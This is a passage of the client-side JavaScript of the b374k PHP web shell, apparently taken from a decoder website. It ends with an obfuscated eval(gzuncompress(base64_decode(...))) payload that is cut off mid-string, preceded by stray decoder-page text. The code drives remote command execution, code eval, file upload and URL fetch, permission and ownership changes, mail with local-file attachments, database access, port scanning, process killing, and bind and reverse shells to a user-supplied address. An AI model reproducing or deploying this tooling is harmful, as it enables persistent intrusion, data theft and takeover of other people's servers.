	content = ulcomputer + '<br>' + ulurl + "<input type='hidden' class='ul_path' value='"+path+"'>";
	$('#explorer').html(content);
	ul_add_comp();
	ul_add_url();

	$('#ulDragNDrop').on('dragenter', function(e){
		e.stopPropagation();
		e.preventDefault();
	});

	$('#ulDragNDrop').on('dragover', function(e){
		e.stopPropagation();
		e.preventDefault();
	});

	$('#ulDragNDrop').on('drop', function(e){
		e.stopPropagation();
		e.preventDefault();

		files = e.target.files || e.dataTransfer.files;
		ulResult = $('.ulDragNDropResult');
		ulResult.html('');
		$.each(files, function(i){
			if(this){
				ulType = 'DragNDrop';
				filename = this.name;

				var formData = new FormData();
				formData.append('ulFile', this);
				formData.append('ulSaveTo', get_cwd());
				formData.append('ulFilename', filename);
				formData.append('ulType', 'comp');

				entry = "<p class='ulRes"+ulType+i+"'><span class='strong'>&gt;</span>&nbsp;<a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a>&nbsp;<span class='ulProgress"+ulType+i+"'></span></p>";
				ulResult.append(entry);

				if(this.size<=0){
					$('.ulProgress'+ulType+i).html('( failed )');
					$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
					$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
				}
				else{
					ul_start(formData, ulType, i);
				}
			}
		});
	});
}

function ul_add_comp(path){
	path = html_safe($('.ul_path').val());
	$('.ulcompadd').append("<tr><td style='width:144px'>File</td><td><input type='file' class='ulFileComp'></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToComp' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameComp' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr>");
}

function ul_add_url(path){
	path = html_safe($('.ul_path').val());
	$('.ulurladd').append("<tr><td style='width:144px'>File URL</td><td><input type='text' class='ulFileUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToUrl' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr>");
}

function ul_start(formData, ulType, i){
	loading_start();
	$.ajax({
		url: targeturl,
		type: 'POST',
		data: formData,
		cache: false,
		contentType: false,
		processData: false,
		xhr: function(){
			myXhr = $.ajaxSettings.xhr();
			if(myXhr.upload){
				myXhr.upload.addEventListener('progress', function(e){
					percent = Math.floor(e.loaded / e.total * 100);
					$('.ulProgress'+ulType+i).html('( '+ percent +'% )');
				}, false);
			}
			return myXhr;
		},
		success: function(res){
			if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*the.*limit.*of/)){
				res = 'error';
			}

			if(res=='error'){
				$('.ulProgress'+ulType+i).html('( failed )');
			}
			else{
				$('.ulRes'+ulType+i).html(res);
			}
			loading_stop();
		},
		error: function(){
			loading_stop();
			$('.ulProgress'+ulType+i).html('( failed )');
			$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
			$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
		}
	});
}

function ul_go(ulType){
	ulFile = (ulType=='comp')? $('.ulFileComp'):$('.ulFileUrl');
	ulResult = (ulType=='comp')? $('.ulCompResult'):$('.ulUrlResult');
	ulResult.html('');

	ulFile.each(function(i){
		if(((ulType=='comp')&&this.files[0])||((ulType=='url')&&(this.value!=''))){
			file = (ulType=='comp')? this.files[0]: this.value;
			filename = (ulType=='comp')? file.name: file.substring(file.lastIndexOf('/')+1);

			ulSaveTo = (ulType=='comp')? $('.ulSaveToComp')[i].value:$('.ulSaveToUrl')[i].value;
			ulFilename = (ulType=='comp')? $('.ulFilenameComp')[i].value:$('.ulFilenameUrl')[i].value;

			var formData = new FormData();
			formData.append('ulFile', file);
			formData.append('ulSaveTo', ulSaveTo);
			formData.append('ulFilename', ulFilename);
			formData.append('ulType', ulType);

			entry = "<p class='ulRes"+ulType+i+"'><span class='strong'>&gt;</span>&nbsp;<a onclick='view_entry(this);' class='ulFilename"+ulType+i+"'>"+filename+"</a>&nbsp;<span class='ulProgress"+ulType+i+"'></span></p>";
			ulResult.append(entry);

			check = true;
			if(ulType=='comp'){
				check = (file.size<=0);
			}
			else check = (file=="");

			if(check){
				$('.ulProgress'+ulType+i).html('( failed )');
				$('.ulProgress'+ulType+i).removeClass('ulProgress'+ulType+i);
				$('.ulFilename'+ulType+i).removeClass('ulFilename'+ulType+i);
			}
			else{
				ul_start(formData, ulType, i);
			}
		}
	});
}

function trap_ctrl_enter(el, e, callback){
	if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
		if(callback!=null) window[callback]();
	}
	fix_tabchar(el, e);
}

function edit_save_raw(){
	edit_save('edit');
}

function edit_save_hex(){
	edit_save('hex');
}

function edit_save(editType){
	editFilename = $('#editFilename').val();
	editInput = $('#editInput').val();
	editSuccess = false;
	preserveTimestamp = 'false';
	if($('.cBox').hasClass('cBoxSelected')) preserveTimestamp = 'true';
	send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserveTimestamp:preserveTimestamp},
		function(res){
		if(res!='error'){
			editSuccess = 'success';
			view(editFilename, editType, preserveTimestamp);
		}
		else editSuccess = 'error';
		}
	);
}



function mass_act(type){
	buffer = get_all_cbox_selected('xplTable', 'xpl_href');

	if((type=='cut')||(type=='copy')){
		localStorage.setItem('bufferLength', buffer.length);
		localStorage.setItem('bufferAction', type);
		$.each(buffer,function(i,v){
			localStorage.setItem('buffer_'+i, v);
		});
	}
	else if(type=='paste'){
		bufferLength = localStorage.getItem('bufferLength');
		bufferAction = localStorage.getItem('bufferAction');
		if(bufferLength>0){
			massBuffer = '';
			for(var i=0;i<bufferLength;i++){
				if((buff = localStorage.getItem('buffer_'+i))){
					massBuffer += buff + '
';
				}
			}
			massBuffer = $.trim(massBuffer);

			if(bufferAction=='cut') title = 'move';
			else if(bufferAction=='copy') title = 'copy';

			content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>"+title+" here</td><td><input type='text' value='"+html_safe(get_cwd())+"' onkeydown=\"trap_enter(event, 'mass_act_go_paste');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('paste');\">"+title+"</span></td></tr></table>";
			show_box(ucfirst(title), content);
		}

	}
	else if((type=='extract (tar)')||(type=='extract (tar.gz)')||(type=='extract (zip)')){
		if(type=='extract (tar)') arcType = 'untar';
		else if(type=='extract (tar.gz)') arcType = 'untargz';
		else if(type=='extract (zip)') arcType = 'unzip';

		if(buffer.length>0){
			massBuffer = '';
			$.each(buffer,function(i,v){
				massBuffer += v + '
';
			});
			massBuffer = $.trim(massBuffer);
			title = type;

			content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Extract to</td><td><input class='massValue' type='text' value='"+html_safe(get_cwd())+"'  onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">extract</span></td></tr></table>";
			show_box(ucfirst(title), content);
		}
	}
	else if((type=='compress (tar)')||(type=='compress (tar.gz)')||(type=='compress (zip)')){
		date = new Date();
		rand = date.getTime();
		if(type=='compress (tar)'){
			arcType = 'tar';
			arcFilename = rand+'.tar';
		}
		else if(type=='compress (tar.gz)'){
			arcType = 'targz';
			arcFilename = rand+'.tar.gz';
		}
		else if(type=='compress (zip)'){
			arcType = 'zip';
			arcFilename = rand+'.zip';
		}

		if(buffer.length>0){
			massBuffer = '';
			$.each(buffer,function(i,v){
				massBuffer += v + '
';
			});
			massBuffer = $.trim(massBuffer);
			title = type;

			content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr><tr><td class='colFit'>Archive</td><td><input class='massValue' type='text' value='"+arcFilename+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+arcType+"');\"></td></tr><tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+arcType+"');\">compress</span></td></tr></table>";
			show_box(ucfirst(title), content);
		}
	}
	else if(type!=''){
		if(buffer.length>0){
			massBuffer = '';
			$.each(buffer,function(i,v){
				massBuffer += v + '
';
			});
			massBuffer = $.trim(massBuffer);
			title = type;
			line = '';
			if(type=='chmod') line = "<tr><td class='colFit'>chmod</td><td><input class='massValue' type='text' value='0777' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
			else if(type=='chown') line = "<tr><td class='colFit'>chown</td><td><input class='massValue' type='text' value='root' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
			else if(type=='touch'){
				var now = new Date();
				line = "<tr><td class='colFit'>touch</td><td><input class='massValue' type='text' value='"+now.toGMTString()+"' onkeydown=\"trap_enter(event, 'mass_act_go_"+type+"');\"></td></tr>";
			}

			content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='massBuffer' style='height:120px;min-height:120px;' wrap='off' disabled>"+massBuffer+"</textarea></td></tr>"+line+"<tr><td colspan='2'><span class='button' onclick=\"mass_act_go('"+type+"');\">"+title+"</span></td></tr></table>";
			show_box(ucfirst(title), content);
		}
	}

	$('.cBoxSelected').removeClass('cBoxSelected');
	xpl_update_status();
}

function mass_act_go_tar(){
	mass_act_go('tar');
}

function mass_act_go_targz(){
	mass_act_go('targz');
}

function mass_act_go_zip(){
	mass_act_go('zip');
}

function mass_act_go_untar(){
	mass_act_go('untar');
}

function mass_act_go_untargz(){
	mass_act_go('untargz');
}

function mass_act_go_unzip(){
	mass_act_go('unzip');
}

function mass_act_go_paste(){
	mass_act_go('paste');
}

function mass_act_go_chmod(){
	mass_act_go('chmod');
}

function mass_act_go_chown(){
	mass_act_go('chown');
}

function mass_act_go_touch(){
	mass_act_go('touch');
}

function mass_act_go(massType){
	massBuffer = $.trim($('.massBuffer').val());
	massPath = get_cwd();
	massValue = '';
	if(massType=='paste'){
		bufferLength = localStorage.getItem('bufferLength');
		bufferAction = localStorage.getItem('bufferAction');
		if(bufferLength>0){
			massBuffer = '';
			for(var i=0;i<bufferLength;i++){
				if((buff = localStorage.getItem('buffer_'+i))){
					massBuffer += buff + '
';
				}
			}
			massBuffer = $.trim(massBuffer);
			if(bufferAction=='copy') massType = 'copy';
			else if(bufferAction=='cut') massType = 'cut';
		}
	}
	else if((massType=='chmod')||(massType=='chown')||(massType=='touch')){
		massValue = $('.massValue').val();
	}
	else if((massType=='tar')||(massType=='targz')||(massType=='zip')){
		massValue = $('.massValue').val();
	}
	else if((massType=='untar')||(massType=='untargz')||(massType=='unzip')){
		massValue = $('.massValue').val();
	}


	if(massBuffer!=''){
		send_post({massType:massType,massBuffer:massBuffer,massPath:massPath,massValue:massValue }, function(res){
			if(res!='error'){
				$('.boxresult').html(res+' Operation(s) succeeded');
			}
			else $('.boxresult').html('Operation(s) failed');
			navigate(get_cwd());
		});
	}
}

function xpl_update_status(){
	totalSelected = $('#xplTable').find('.cBoxSelected').not('.cBoxAll').length;
	if(totalSelected==0) $('.xplSelected').html('');
	else $('.xplSelected').html(', '+totalSelected+' item(s) selected');
}


function xpl_bind(){
	$('.navigate').off('click');
	$('.navigate').on('click', function(e){
		path = xpl_href($(this));
		navigate(path);
		hide_box();
	});

	$('.navbar').off('click');
	$('.navbar').on('click', function(e){
		path = $(this).attr('data-path');
		navigate(path);
		hide_box();
	});

	$('.newfolder').off('click');
	$('.newfolder').on('click', function(e){
		path = html_safe(xpl_href($(this)));
		newfolder(path);
	});

	$('.newfile').off('click');
	$('.newfile').on('click', function(e){
		path = html_safe(xpl_href($(this)));
		newfile(path);
	});

	$('.del').off('click');
	$('.del').on('click', function(e){
		path = html_safe(xpl_href($(this)));
		del(path);
	});

	$('.view').off('click');
	$('.view').on('click', function(e){
		path = xpl_href($(this));
		view(path, 'auto');
		hide_box();
	});

	$('.hex').off('click');
	$('.hex').on('click', function(e){
		path = xpl_href($(this));
		view(path, 'hex');
	});

	$('#viewFullsize').off('click');
	$('#viewFullsize').on('click', function(e){
		src = $('#viewImage').attr('src');
		window.open(src);
	});

	$('.edit').off('click');
	$('.edit').on('click', function(e){
		path = xpl_href($(this));
		view(path, 'edit');
		hide_box();
	});

	$('.ren').off('click');
	$('.ren').on('click', function(e){
		path = html_safe(xpl_href($(this)));
		ren(path);
	});

	$('.action').off('click');
	$('.action').on('click', function(e){
		path = html_safe(xpl_href($(this)));
		action(path, 'file');
	});

	$('.actionfolder').off('click');
	$('.actionfolder').on('click', function(e){
		path = html_safe(xpl_href($(this)));
		action(path, 'dir');
	});

	$('.actiondot').off('click');
	$('.actiondot').on('click', function(e){
		path = html_safe(xpl_href($(this)));
		action(path, 'dot');
	});

	$('.dl').off('click');
	$('.dl').on('click', function(e){
		path = html_safe(xpl_href($(this)));
		$('#form').append("<input type='hidden' name='download' value='"+path+"'>");
		$('#form').submit();
		$('#form').html('');
		hide_box();
	});

	$('.ul').off('click');
	$('.ul').on('click', function(e){
		path = xpl_href($(this));
		navigate(path, false);
		path = html_safe(path);
		ul(path);
		hide_box();
	});

	$('.find').off('click');
	$('.find').on('click', function(e){
		path = xpl_href($(this));
		navigate(path, false);
		path = html_safe(path);
		find(path);
		hide_box();
	});

	$('#massAction').off('click');
	$('#massAction').on('change', function(e){
		type = $('#massAction').val();
		mass_act(type);
		$('#massAction').val('Action');
	});

	cbox_bind('xplTable','xpl_update_status');
}

function xpl_href(el){
	return el.parent().parent().attr('data-path');
}

function multimedia(path){
	var a = $('video').get(0);
	send_post({multimedia:path}, function(res){
		a.src = res;
	});
	hide_box();
}

$('#terminalInput').on('keydown', function(e){
	if(e.keyCode==13){
		cmd = $('#terminalInput').val();
		terminalHistory.push(cmd);
		terminalHistoryPos = terminalHistory.length;
		if(cmd=='clear'||cmd=='cls'){
			$('#terminalOutput').html('');
		}
		else if((path = cmd.match(/cd(.*)/i)) || (path = cmd.match(/^([a-z]:)$/i))){
			path = $.trim(path[1]);
			navigate(path);
		}
		else if(cmd!=''){
			send_post({ terminalInput: cmd }, function(res){
				cwd = html_safe(get_cwd());
				res = '<span class=\'strong\'>'+cwd+'&gt;</span>'+html_safe(cmd)+ '
' + res+'
';
				$('#terminalOutput').append(res);
				bottom = $(document).height()-$(window).height();
				$(window).scrollTop(bottom);
			});
		}
		$('#terminalInput').val('');
		setTimeout("$('#terminalInput').focus()",100);
	}
	else if(e.keyCode==38){
		if(terminalHistoryPos>0){
			terminalHistoryPos--;
			$('#terminalInput').val(terminalHistory[terminalHistoryPos]);
			if(terminalHistoryPos<0) terminalHistoryPos = 0;
		}
	}
	else if(e.keyCode==40){
		if(terminalHistoryPos<terminalHistory.length-1){
			terminalHistoryPos++;
			$('#terminalInput').val(terminalHistory[terminalHistoryPos]);
			if(terminalHistoryPos>terminalHistory.length) terminalHistoryPos = terminalHistory.length;
		}
	}
	fix_tabchar(this, e);
});

function eval_go(){
	evalType = $('#evalType').val();
	evalInput = $('#evalInput').val();
	evalOptions = $('#evalOptions').val();
	evalArguments = $('#evalArguments').val();

	if(evalOptions=='Options/Switches') evalOptions = '';
	if(evalArguments=='Arguments') evalArguments = '';

	if($.trim(evalInput)!=''){
		send_post({ evalInput:evalInput, evalType:evalType, evalOptions:evalOptions, evalArguments:evalArguments },
			function(res){
				if(res!='error'){
					splits = res.split('{[|b374k|]}');
					if(splits.length==2){
						output = splits[0]+"<hr>"+splits[1];
						$('#evalOutput').html(output);
					}
					else{
						$('#evalOutput').html(res);
					}
				}
			}
		);
	}
}

function eval_init(){
	if((evalSupported = localStorage.getItem('evalSupported'))){
		eval_bind();
		output("eval : "+evalSupported);
		evalReady = true;
	}
	else{
		send_post({evalGetSupported:"evalGetSupported"}, function(res){
			evalReady = true;
			if(res!="error"){
				localStorage.setItem('evalSupported', res);
				evalSupported = res;
				eval_bind();
				output("eval : "+evalSupported);
			}
		});
	}
}

function eval_bind(){
	if((evalSupported!=null)&&(evalSupported!='')){
		splits = evalSupported.split(",");
		$.each(splits, function(i, k){
			$('#evalType').append("<option>"+k+"</option>");
		});
	}
	$('#evalType').on('change', function(e){
		if($('#evalType').val()=='php'){
			$('#evalAdditional').hide();
		}
		else{
			$('#evalAdditional').show();
		}
	});
	$('#evalOptions').on('focus', function(e){
		options = $('#evalOptions');
		if(options.val()=='Options/Switches') options.val('');
	});
	$('#evalOptions').on('blur', function(e){
		options = $('#evalOptions');
		if($.trim(options.val())=='') options.val('Options/Switches');
	});
	$('#evalArguments').on('focus', function(e){
		args = $('#evalArguments');
		if(args.val()=='Arguments') args.val('');
	});
	$('#evalArguments').on('blur', function(e){
		args = $('#evalArguments');
		if($.trim(args.val())=='') args.val('Arguments');
	});

	$('#evalInput').on('keydown', function(e){
		if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
			eval_go();
		}
		fix_tabchar(this, e);
	});
}
Zepto(function($){
	$('#decodeStr').on('keydown', function(e){
		if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
			decode_go();
		}
		fix_tabchar(this, e);
	});
});

function decode_go(){
	decodeStr = $('#decodeStr').val();
	send_post({decodeStr:decodeStr}, function(res){
		if(res!='error'){
			$('#decodeResult').html('');
			$('#decodeResult').html(res);
		}
	});
}


Zepto(function($){
	db_init();

});

var dbSupported = "";
var dbPageLimit = 50;

function db_init(){
	if((dbSupported = localStorage.getItem('db_supported'))){
		db_bind();
		output("db : "+dbSupported);
		db_add_supported();
	}
	else{
		send_post({dbGetSupported:""}, function(res){
			if(res!="error"){
				localStorage.setItem('dbSupported', res);
				dbSupported = res;
				db_bind();
				output("db : "+dbSupported);
				db_add_supported();
			}
		});
	}
}

function db_add_supported(){
	splits = dbSupported.split(",");
	$.each(splits, function(i, k){
		$('#dbType').append("<option>"+k+"</option>");
	});
}

function db_bind(){
	$('#dbType').on('change', function(e){
		type = $('#dbType').val();
		if((type=='odbc')||(type=='pdo')){
			$('.dbHostLbl').html('DSN / Connection String');
			$('.dbUserRow').show();
			$('.dbPassRow').show();
			$('.dbPortRow').hide();

		}
		else if((type=='sqlite')||(type=='sqlite3')){
			$('.dbHostLbl').html('DB File');
			$('.dbUserRow').hide();
			$('.dbPassRow').hide();
			$('.dbPortRow').hide();

		}
		else{
			$('.dbHostLbl').html('Host');
			$('.dbUserRow').show();
			$('.dbPassRow').show();
			$('.dbPortRow').show();
		}
	});

	$('#dbQuery').on('focus', function(e){
		if($('#dbQuery').val()=='You can also press ctrl+enter to submit'){
			$('#dbQuery').val('');
		}
	});
	$('#dbQuery').on('blur', function(e){
		if($('#dbQuery').val()==''){
			$('#dbQuery').val('You can also press ctrl+enter to submit');
		}
	});
	$('#dbQuery').on('keydown', function(e){
		if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
			db_run();
		}
	});
}

function db_nav_bind(){
	dbType = $('#dbType').val();
	$('.boxNav').off('click');
	$('.boxNav').on('click', function(){
		$(this).next().toggle();
	});

	$('.dbTable').off('click');
	$('.dbTable').on('click', function(){
		type = $('#dbType').val();
		table = $(this).html();
		db = $(this).parent().parent().parent().prev().html();
		db_query_tbl(type, db, table, 0, dbPageLimit);
	});
}

function db_connect(){
	dbType = $('#dbType').val();
	dbHost = $('#dbHost').val();
	dbUser = $('#dbUser').val();
	dbPass = $('#dbPass').val();
	dbPort = $('#dbPort').val();
	send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort}, function(res){
		if(res!='error'){
			$('#dbNav').html(res);
			$('.dbHostRow').hide();
			$('.dbUserRow').hide();
			$('.dbPassRow').hide();
			$('.dbPortRow').hide();
			$('.dbConnectRow').hide();
			$('.dbQueryRow').show();
			$('#dbBottom').show();
			db_nav_bind();
		}
		else $('.dbError').html('Unable to connect');
	});
}

function db_disconnect(){
	$('.dbHostRow').show();
	$('.dbUserRow').show();
	$('.dbPassRow').show();
	$('.dbPortRow').show();
	$('.dbConnectRow').show();
	$('.dbQueryRow').hide();
	$('#dbNav').html('');
	$('#dbResult').html('');
	$('#dbBottom').hide();
}

function db_run(){
	dbType = $('#dbType').val();
	dbHost = $('#dbHost').val();
	dbUser = $('#dbUser').val();
	dbPass = $('#dbPass').val();
	dbPort = $('#dbPort').val();
	dbQuery = $('#dbQuery').val();

	if((dbQuery!='')&&(dbQuery!='You can also press ctrl+enter to submit')){
		send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort, dbQuery:dbQuery}, function(res){
			if(res!='error'){
				$('#dbResult').html(res);
				$('.tblResult').each(function(){
					sorttable.k(this);
				});
			}
		});
	}
}

function db_query_tbl(type, db, table, start, limit){
	dbType = $('#dbType').val();
	dbHost = $('#dbHost').val();
	dbUser = $('#dbUser').val();
	dbPass = $('#dbPass').val();
	dbPort = $('#dbPort').val();

	send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPort, dbQuery:'', dbDB:db, dbTable:table, dbStart:start, dbLimit:limit}, function(res){
		if(res!='error'){
			$('#dbResult').html(res);
			$('.tblResult').each(function(){
				sorttable.k(this);
			});
		}
	});
}

function db_pagination(type){
	db = $('#dbDB').val();
	table = $('#dbTable').val();
	start = parseInt($('#dbStart').val());
	limit = parseInt($('#dbLimit').val());
	dbType = $('#dbType').val();

	if(type=='next'){
		start = start+limit;
	}
	else if(type=='prev'){
		start = start-limit;
		if(start<0) start = 0;
	}
	db_query_tbl(dbType, db, table, start, limit);
}

Zepto(function($){
	info_init();

});

function info_init(){
	if((infoResult = localStorage.getItem('infoResult'))){
		$('.infoResult').html(infoResult);
	}
	else{
		info_refresh();
	}
}

function info_toggle(id){
	$('#'+id).toggle();
}

function info_refresh(){
	send_post({infoRefresh:'infoRefresh'}, function(res){
		$('.infoResult').html(res);
		localStorage.setItem('infoResult', res);
	});
}

Zepto(function($){

});

function mail_send(){
	mailFrom = $.trim($('#mailFrom').val());
	mailTo = $.trim($('#mailTo').val());
	mailSubject = $.trim($('#mailSubject').val());
	mailContent = $('#mailContent').val();
	mailAttachment = '';
	if($('.mailAttachment')){
		mailAttachment = $('.mailAttachment').map(function(){ return this.value; }).get().join('{[|b374k|]}');
	}

	send_post({mailFrom:mailFrom, mailTo:mailTo, mailSubject:mailSubject, mailContent:mailContent, mailAttachment:mailAttachment}, function(res){
		$('#mailResult').html(res);
	});
}

function mail_attach(){
	content = "<tr><td>Local file <a onclick=\"$(this).parent().parent().remove();\">(-)</a></td><td colspan='2'><input type='text' class='mailAttachment' value=''></td></tr>";
	$('#mailTBody').append(content);
}

Zepto(function($){
	rs_init();

});

function rs_init(){
	if(evalReady&&(evalSupported!=null)&&(evalSupported!='')){
		splits = evalSupported.split(",");
		$.each(splits, function(i, k){
			$('.rsType').append("<option>"+k+"</option>");
		});
	}
	else setTimeout('rs_init()', 1000);

	$('#packetContent').on('keydown', function(e){
		if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
			packet_go();
		}
		fix_tabchar(this, e);
	});
}

function rs_go_bind(){
	rs_go('bind');
}
function rs_go_back(){
	rs_go('back');
}

function rs_go(rsType){
	rsArgs = "";
	if(rsType=='bind'){
		rsPort = parseInt($('#bindPort').val());
		rsLang = $('#bindLang').val();
		rsArgs = rsPort;
		rsResult = $('#bindResult');
	}
	else if(rsType=='back'){
		rsAddr = $('#backAddr').val();
		rsPort = parseInt($('#backPort').val());
		rsLang = $('#backLang').val();
		rsArgs = rsPort + ' ' + rsAddr;
		rsResult = $('#backResult');
	}

	if((isNaN(rsPort))||(rsPort<=0)||(rsPort>65535)){
		rsResult.html('Invalid port');
		return;
	}

	if(rsArgs!=''){
		send_post({ rsLang:rsLang, rsArgs:rsArgs },
			function(res){
				if(res!='error'){
					splits = res.split('{[|b374k|]}');
					if(splits.length==2){
						output = splits[0]+"<hr>"+splits[1];
						rsResult.html(output);
					}
					else{
						rsResult.html(res);
					}
				}
			}
		);
	}
}

function packet_go(){
	packetHost = $('#packetHost').val();
	packetStartPort = parseInt($('#packetStartPort').val());
	packetEndPort = parseInt($('#packetEndPort').val());
	packetTimeout = parseInt($('#packetTimeout').val());
	packetSTimeout = parseInt($('#packetSTimeout').val());
	packetContent = $('#packetContent').val();
	packetResult = $('#packetResult');
	packetStatus = $('#packetStatus');

	if((isNaN(packetStartPort))||(packetStartPort<=0)||(packetStartPort>65535)){
		packetResult.html('Invalid start port');
		return;
	}
	if((isNaN(packetEndPort))||(packetEndPort<=0)||(packetEndPort>65535)){
		packetResult.html('Invalid end port');
		return;
	}
	if((isNaN(packetTimeout))||(packetTimeout<=0)){
		packetResult.html('Invalid connection timeout');
		return;
	}
	if((isNaN(packetSTimeout))||(packetSTimeout<=0)){
		packetResult.html('Invalid stream timeout');
		return;
	}

	if(packetStartPort>packetEndPort){
		start = packetEndPort;
		end = packetStartPort;
	}
	else{
		start = packetStartPort;
		end = packetEndPort;
	}

	packetResult.html('');
	while(start<=end){
		packetPort = start++;
		packetResult.append("<hr><div><p class='boxtitle'>Host : "+html_safe(packetHost)+":"+packetPort+"</p><br><div id='packet"+packetPort+"' style='padding:2px 4px;'>Working... please wait...</div></div>");
		packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout, packetContent);

	}
}

function packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout, packetContent){
	send_post({packetHost:packetHost, packetPort:packetPort, packetEndPort:packetEndPort, packetTimeout:packetTimeout, packetSTimeout:packetSTimeout, packetContent:packetContent}, function(res){
		$('#packet'+packetPort).html(res);
	}, false);
}

Zepto(function($){
	show_processes();
});

function show_processes(){
	send_post({showProcesses:''}, function(res){
		if(res!='error'){
			$('#processes').html(res);
			sorttable.k($('#psTable').get(0));
			ps_bind();
		}
	});
}

function ps_bind(){
	$('.kill').off('click');
	$('.kill').on('click', function(e){
		kill_pid(ps_get_pid($(this)));
	});


	cbox_bind('psTable','ps_update_status');
}

function ps_get_pid(el){
	return el.parent().parent().attr('data-pid');
}

function ps_update_status(){
	totalSelected = $('#psTable').find('.cBoxSelected').not('.cBoxAll').length;
	if(totalSelected==0) $('.psSelected').html('');
	else $('.psSelected').html(' ( '+totalSelected+' item(s) selected )');
}

function kill_selected(){
	buffer = get_all_cbox_selected('psTable', 'ps_get_pid');

	allPid = '';
	$.each(buffer,function(i,v){
		allPid += v + ' ';
	});
	allPid = $.trim(allPid);
	kill_pid(allPid);
}

function kill_pid(allPid){
	title = 'Kill';
	content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='allPid' style='height:120px;min-height:120px;' disabled>"+allPid+"</textarea></td></tr><tr><td colspan='2'><span class='button' onclick=\"kill_pid_go();\">kill</span></td></tr></table>";
	show_box(title, content);
}

function kill_pid_go(){
	allPid = $('.allPid').val();
	if($.trim(allPid)!=''){
		send_post({allPid:allPid}, function(res){
			if(res!='error'){
				$('.boxresult').html(res + ' process(es) killed');
			}
			else $('.boxresult').html('Unable to kill process(es)');
			show_processes();
		});
	}
}


<?php
	foreach($GLOBALS['module_to_load'] as $k){
		echo "function ".$GLOBALS['module'][$k]['id']."(){ ".$GLOBALS['module'][$k]['js_ontabselected']." }
";
	}
?>
</script>
<!--script end-->
</body>
</html><?php die();?>

Did this file decode correctly?

Original Code

<?php eval(gzuncompress(base64_decode("eF7svWl34kjSKPy5/CvUPL6NPdhm38pld2N2sxowW1VfHyEJEGizJNau+u9vbpJSQti4umbunPfenjNlkRkZERkZERm5/3H/5Q9trp2F/3X2aRJPJ5aMMRckiYnfxG7iZ58e2R0rsXOmqvCqIhgiu1ydfbrgLmORaOLs09w0NeNzODwTzflqcsOpchjhwP+enf0rfHZerrcecvXu16DGGkbwL+aOCUyikWkmk45z7CQaZ6PxbCSZ5DJsIp0VJulJmosmppN4NJYI3DLhMOCHjV7IfPICIri8pDDKKr+ShBdTfZFUlke4WV1ndxcBYatJqi7ogSsmYAq6LCqsBL+FNf7Lqcpa0E34ybMmO2ENAX6LylSFf2VWRGCKYG5UfQk/NV3lBMMQjMDlrcOBLhjqSgcZwb++BlGlcQ3n/eFY1xuJopKaLXKdeT6zU+vZ+fApOyvwse38MbnbZMK9RbglTNNmu9stxx83i3F/uItOpXFE4cL19WoZruXmciWzyGqN+fNzhs2kEvmt8hQfJKf10kauJafiMPHYz26VXVbNlOOxUG+rzV+NbH66mHdfC3NBNPrqYilVJpUmVy80o+nKI1teaoVKec6XCtpSUoZ8mG1u2HJj1h/M1KFa6cux9evSHMTbRXlZCI/T+QezWytt+qNha5iJbvh5WB415Xl2tYtVB0pzUa89RLncSC7WQpPF02C9rYVUPRfKqOIwm38ITyO8HGWXzWm/XFT0WplthBU2OXkcldaP0e6Mz5X6uWlI75TXz9lsVl6O1MdSPZrSus/Sg7wLDR6f+yut1yubz6lhLVuRWt1KOVFab0qgSuV8q7bKz0tyM//4KsyL5XgtUixMVgXZTIQiqX0n3ukI/XQzWREmD5Koh4X9uCj0hUhTTpaj2/KiHY4/Cq9CeJVV9X5y33xdLaPbeJsr1+u91ONy0V4t+Iykd1tNpdBqDgtCsZANKeqgOpLKi3itHDIi7WGhFJKL8QG/z5cny6ieVheSWNXyEy4ybb62Bykpk5xVKiEzp7QlM5McdGsN+SmWeV3UhLgaKw8HlZbY63FSaMNVnwUuNZRUpTtryTN5HeUeqqkWH9fV7XRaeCxmyw/DxENtMutHlUR4UR+ro/RkDirS1IZsLbWRKsVNNz7J